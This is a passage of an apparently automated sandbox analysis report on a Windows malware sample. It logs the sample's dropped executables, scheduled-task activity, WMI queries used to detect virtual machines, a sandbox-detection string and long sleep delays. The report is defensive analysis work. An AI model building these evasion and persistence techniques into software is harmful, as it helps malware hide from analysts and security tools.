                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX

                    Malware Analysis System Evasion

                    barindex
                    Queries memory information (via WMI often done to detect virtual machines)
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
                    Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
                    Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002731000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002AF1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeMemory allocated: 1180000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeMemory allocated: 1ABD0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeMemory allocated: E70000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeMemory allocated: 1AD60000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMemory allocated: 10B0000 memory reserve | memory write watch
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMemory allocated: 1AB70000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeMemory allocated: C00000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeMemory allocated: 1A730000 memory reserve | memory write watch
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMemory allocated: 19C0000 memory reserve | memory write watch
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMemory allocated: 1B3B0000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeMemory allocated: F90000 memory reserve | memory write watch
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeMemory allocated: 1AAC0000 memory reserve | memory write watch
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMemory allocated: B00000 memory reserve | memory write watch
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMemory allocated: 1AAF0000 memory reserve | memory write watch
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 600000Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 599890Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 599781Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 599672Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWindow / User API: threadDelayed 9903Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exe TID: 5524Thread sleep time: -922337203685477s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exe TID: 5524Thread sleep time: -600000s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exe TID: 5524Thread sleep time: -599890s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exe TID: 5524Thread sleep time: -599781s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exe TID: 5524Thread sleep time: -599672s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe TID: 6092Thread sleep time: -922337203685477s >= -30000sJump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exe TID: 2212Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe TID: 5208Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exe TID: 6992Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe TID: 7736Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exe TID: 1980Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UserName FROM Win32_ComputerSystem
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 600000Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 599890Jump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 599781Jump to behavior
